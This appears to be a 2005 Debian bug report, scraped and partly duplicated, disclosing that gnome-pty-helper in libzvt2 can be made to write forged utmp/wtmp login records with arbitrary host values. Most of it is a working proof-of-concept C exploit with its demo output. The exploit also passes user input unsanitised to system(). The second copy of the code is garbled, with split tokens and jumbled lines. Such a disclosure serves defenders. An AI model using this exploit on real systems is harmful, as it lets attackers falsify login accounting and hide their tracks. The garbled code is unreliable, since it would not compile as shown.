gnome-pty-helper can be made to write utmp/wtmp records with arbitrary
DISPLAY (host) settings. I am not sure if it can be tricked into erasing
existing records.
static void *
get_ptys (int *master, int *slave, int update_wutmp)
{
GnomePtyOps op;
int result, n;
void *tag;
if (helper_pid == -1)
return NULL;
if (helper_pid == 0){
if (s_pipe (helper_socket_protocol) == -1)
return NULL;
if (s_pipe (helper_socket_fdpassing) == -1){
close (helper_socket_protocol [0]);
close (helper_socket_protocol [1]);
return NULL;
}
helper_pid = fork ();
if (helper_pid == -1){
close (helper_socket_protocol [0]);
close (helper_socket_protocol [1]);
close (helper_socket_fdpassing [0]);
close (helper_socket_fdpassing [1]);
return NULL;
}
if (helper_pid == 0){
close (0);
close (1);
dup2 (helper_socket_protocol [1], 0);
dup2 (helper_socket_fdpassing [1], 1);
/* Close aliases */
close (helper_socket_protocol [0]);
close (helper_socket_protocol [1]);
close (helper_socket_fdpassing [0]);
close (helper_socket_fdpassing [1]);
execl ("/usr/sbin/gnome-pty-helper", "gnome-pty-helper", NULL);
exit (1);
} else {
close (helper_socket_fdpassing [1]);
close (helper_socket_protocol [1]);
/*
* Set the close-on-exec flag for the other
* descriptors, these should never propagate
* (otherwise gnome-pty-heler wont notice when
* this process is killed).
*/
fcntl (helper_socket_protocol [0], F_SETFD, FD_CLOEXEC);
fcntl (helper_socket_fdpassing [0], F_SETFD, FD_CLOEXEC);
}
}
op = GNOME_PTY_OPEN_NO_DB_UPDATE;
if (update_wutmp & ZVT_TERM_DO_UTMP_LOG){
if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
op = GNOME_PTY_OPEN_PTY_LASTLOGUWTMP;
else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
op = GNOME_PTY_OPEN_PTY_UWTMP;
else if (update_wutmp & ZVT_TERM_DO_LASTLOG)
op = GNOME_PTY_OPEN_PTY_LASTLOGUTMP;
else
op = GNOME_PTY_OPEN_PTY_UTMP;
} else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG) {
if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
op = GNOME_PTY_OPEN_PTY_LASTLOGWTMP;
else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
op = GNOME_PTY_OPEN_PTY_WTMP;
} else
if (update_wutmp & ZVT_TERM_DO_LASTLOG)
op = GNOME_PTY_OPEN_PTY_LASTLOG;
int main (int argc, char* argv[])
{
int slave_pty, master_pty;
void* mytag;
int log = ZVT_TERM_DO_UTMP_LOG;
char buf[1000];
printf("Writing utmp (who) record for DISPLAY=%s\n", argv[1]);
setenv("DISPLAY",argv[1],1);
if ((mytag = get_ptys (&master_pty, &slave_pty, log)) == NULL)
return;
sprintf(buf,"who | grep %s",argv[1]);
printf("Running %s\n",buf);
system(buf);
printf("utmp (who) record will be cleaned up when we exit.\n");
printf("To leave it behind, kill gnome-pty-helper: kill %d\n",helper_pid);
printf("Sleeping for 5 secs...\n");
sleep (5);
}
-- System Information:
Debian Release: 3.1
Architecture: i386 (i686)
Kernel: Linux 2.6.8-spm0.5
Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968)
Versions of packages libzvt2 depends on:
ii gdk-imlib1 1.9.14-16.2 imaging library for use with gtk (
ii libc6 2.3.2.ds1-22 GNU C Library: Shared libraries an
ii libglib1.2 1.2.10-9 The GLib library of C routines
ii libgtk1.2 1.2.10-17 The GIMP Toolkit set of widgets fo
ii libx11-6 4.3.0.dfsg.1-14 X Window System protocol client li
ii xlibs 4.3.0.dfsg.1-14 X Keyboard Extension (XKB) configu
ii zlib1g 1:1.2.2-4.sarge.2 compression library - runtime
Message-Id: <email address hidden> gnome-pty- helper: writes arbitrary utmp records
Date: Tue, 20 Sep 2005 09:01:20 +1000
From: Paul Szabo <email address hidden>
To: Debian Bug Tracking System <email address hidden>
Subject: /usr/sbin/
Package: libzvt2 gnome-pty- helper
Version: 1.4.2-19
Severity: critical
File: /usr/sbin/
Justification: root security hole
gnome-pty-helper can be made to write utmp/wtmp records with arbitrary
DISPLAY (host) settings. I am not sure if it can be tricked into erasing
existing records.
Demo output, code below.
Cheers,
Paul Szabo <email address hidden> http:// www.maths. usyd.edu. au/u/psz/
School of Mathematics and Statistics University of Sydney Australia
OUTPUT:
psz@savona:~$ gnome-pty- helper- exploit xyz & sleep 1; who; ps aux | grep psz; sleep 6; who maths.usyd. edu.au: 0.0) helper- exploit xyz helper- exploit xyz maths.usyd. edu.au: 0.0)
[1] 31444
Writing utmp (who) record for DISPLAY=xyz
Running who | grep xyz
psz pts/2 Sep 20 08:40 (xyz)
utmp (who) record will be cleaned up when we exit.
To leave it behind, kill gnome-pty-helper: kill 31446
Sleeping for 5 secs...
psz pts/2 Sep 20 08:40 (xyz)
psz pts/1 Sep 20 08:33 (y622.yt.
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
psz 31358 0.0 0.3 10340 7768 ? S 08:14 0:00 xterm -T psz@savona -n psz@savona -sb -sl 10000 -ls
psz 31444 0.0 0.0 1484 380 pts/1 S 08:21 0:00 gnome-pty-
psz 31446 0.0 0.0 1696 604 pts/1 S 08:21 0:00 gnome-pty-helper
psz 31454 0.0 0.0 2496 848 pts/1 R+ 08:21 0:00 ps aux
[1]+ Done gnome-pty-
psz pts/1 Sep 20 08:33 (y622.yt.
CODE:
/* libs-1. 4.2/zvt
Must be compiled against (within)
gnome-
because it uses *.h files from there.
Code "stolen" from subshell.c .
*/
#include <sys/types.h>
#include "subshell- includes. h" DO_UTMP_ LOG 1 DO_WTMP_ LOG 2
#define ZVT_TERM_
#define ZVT_TERM_
#define ZVT_TERM_DO_LASTLOG 4
/* Pid of the helper SUID process */
static pid_t helper_pid;
/* The socketpair used for the protocol */ socket_ protocol [2];
int helper_
/* The parallel socketpair used to transfer file descriptors */ socket_ fdpassing [2];
int helper_
#include <sys/socket.h>
#include <sys/uio.h>
static struct cmsghdr *cmptr;
#define CONTROLLEN sizeof (struct cmsghdr) + sizeof (int)
static int
receive_fd (int helper_fd)
{
struct iovec iov [1];
struct msghdr msg;
char buf [32];
iov [0].iov_base = buf;
iov [0].iov_len = sizeof (buf);
msg.msg_iov = iov;
msg.msg_iovlen = 1;
msg.msg_name = NULL;
msg.msg_namelen = 0;
if (cmptr == NULL && (cmptr = malloc (CONTROLLEN)) == NULL)
return -1;
msg.msg_control = (caddr_t) cmptr;
msg.msg_controllen = CONTROLLEN;
if (recvmsg (helper_fd, &msg, 0) <= 0)
return -1;
return *(int *) CMSG_DATA (cmptr);
}
static int
s_pipe (int fd [2])
{
return socketpair (AF_UNIX, SOCK_STREAM, 0, fd);
}
static void *
get_ptys (int *master, int *slave, int update_wutmp)
{
GnomePtyOps op;
int result, n;
void *tag;
if (helper_pid == -1)
return NULL;
if (helper_pid == 0){ socket_ protocol) == -1)
if (s_pipe (helper_
return NULL;
if (s_pipe (helper_ socket_ fdpassing) == -1){ socket_ protocol [0]); socket_ protocol [1]);
close (helper_
close (helper_
return NULL;
}
helper_pid = fork ();
if (helper_pid == -1){ socket_ protocol [0]); socket_ protocol [1]); socket_ fdpassing [0]); socket_ fdpassing [1]);
close (helper_
close (helper_
close (helper_
close (helper_
return NULL;
}
if (helper_pid == 0){ socket_ protocol [1], 0); socket_ fdpassing [1], 1);
close (0);
close (1);
dup2 (helper_
dup2 (helper_
/* Close aliases */ socket_ protocol [0]); socket_ protocol [1]); socket_ fdpassing [0]); socket_ fdpassing [1]);
close (helper_
close (helper_
close (helper_
close (helper_
execl ("/usr/ sbin/gnome- pty-helper" , "gnome-pty-helper", NULL); socket_ fdpassing [1]); socket_ protocol [1]);
exit (1);
} else {
close (helper_
close (helper_
/* socket_ protocol [0], F_SETFD, FD_CLOEXEC); socket_ fdpassing [0], F_SETFD, FD_CLOEXEC); OPEN_NO_ DB_UPDATE;
* Set the close-on-exec flag for the other
* descriptors, these should never propagate
* (otherwise gnome-pty-heler wont notice when
* this process is killed).
*/
fcntl (helper_
fcntl (helper_
}
}
op = GNOME_PTY_
if (update_wutmp & ZVT_TERM_ DO_UTMP_ LOG){ DO_WTMP_ LOG | ZVT_TERM_ DO_LASTLOG) ) OPEN_PTY_ LASTLOGUWTMP; DO_WTMP_ LOG) OPEN_PTY_ UWTMP; DO_LASTLOG) OPEN_PTY_ LASTLOGUTMP; OPEN_PTY_ UTMP; DO_WTMP_ LOG) { DO_WTMP_ LOG | ZVT_TERM_ DO_LASTLOG) ) OPEN_PTY_ LASTLOGWTMP; DO_WTMP_ LOG) OPEN_PTY_ WTMP; DO_LASTLOG) OPEN_PTY_ LASTLOG;
if (update_wutmp & (ZVT_TERM_
op = GNOME_PTY_
else if (update_wutmp & ZVT_TERM_
op = GNOME_PTY_
else if (update_wutmp & ZVT_TERM_
op = GNOME_PTY_
else
op = GNOME_PTY_
} else if (update_wutmp & ZVT_TERM_
if (update_wutmp & (ZVT_TERM_
op = GNOME_PTY_
else if (update_wutmp & ZVT_TERM_
op = GNOME_PTY_
} else
if (update_wutmp & ZVT_TERM_
op = GNOME_PTY_
if (write (helper_ socket_ protocol [0], &op, sizeof (op)) < 0)
return NULL;
n = read (helper_ socket_ protocol [0], &result, sizeof (result));
if (n == -1 || n != sizeof (result)){
helper_pid = 0;
return NULL;
}
if (result == 0)
return NULL;
n = read (helper_ socket_ protocol [0], &tag, sizeof (tag));
if (n == -1 || n != sizeof (tag)){
helper_pid = 0;
return NULL;
}
*master = receive_fd (helper_ socket_ fdpassing [0]); socket_ fdpassing [0]);
*slave = receive_fd (helper_
return tag;
}
int main (int argc, char* argv[]) DO_UTMP_ LOG;
{
int slave_pty, master_pty;
void* mytag;
int log = ZVT_TERM_
char buf[1000];
printf("Writing utmp (who) record for DISPLAY=%s\n", argv[1]); "DISPLAY" ,argv[1] ,1);
setenv(
if ((mytag = get_ptys (&master_pty, &slave_pty, log)) == NULL)
return;
sprintf(buf,"who | grep %s",argv[1]);
printf("Running %s\n",buf);
system(buf);
printf("utmp (who) record will be cleaned up when we exit.\n");
printf("To leave it behind, kill gnome-pty-helper: kill %d\n",helper_pid);
printf("Sleeping for 5 secs...\n");
sleep (5);
}
-- System Information: ANSI_X3. 4-1968)
Debian Release: 3.1
Architecture: i386 (i686)
Kernel: Linux 2.6.8-spm0.5
Locale: LANG=C, LC_CTYPE=C (charmap=
Versions of packages libzvt2 depends on:
ii gdk-imlib1 1.9.14-16.2 imaging library for use with gtk (
ii libc6 2.3.2.ds1-22 GNU C Library: Shared libraries an
ii libglib1.2 1.2.10-9 The GLib library of C routines
ii libgtk1.2 1.2.10-17 The GIMP Toolkit set of widgets fo
ii libx11-6 4.3.0.dfsg.1-14 X Window System protocol client li
ii xlibs 4.3.0.dfsg.1-14 X Keyboard Extension (XKB) configu
ii zlib1g 1:1.2.2-4.sarge.2 compression library - runtime
-- no debconf information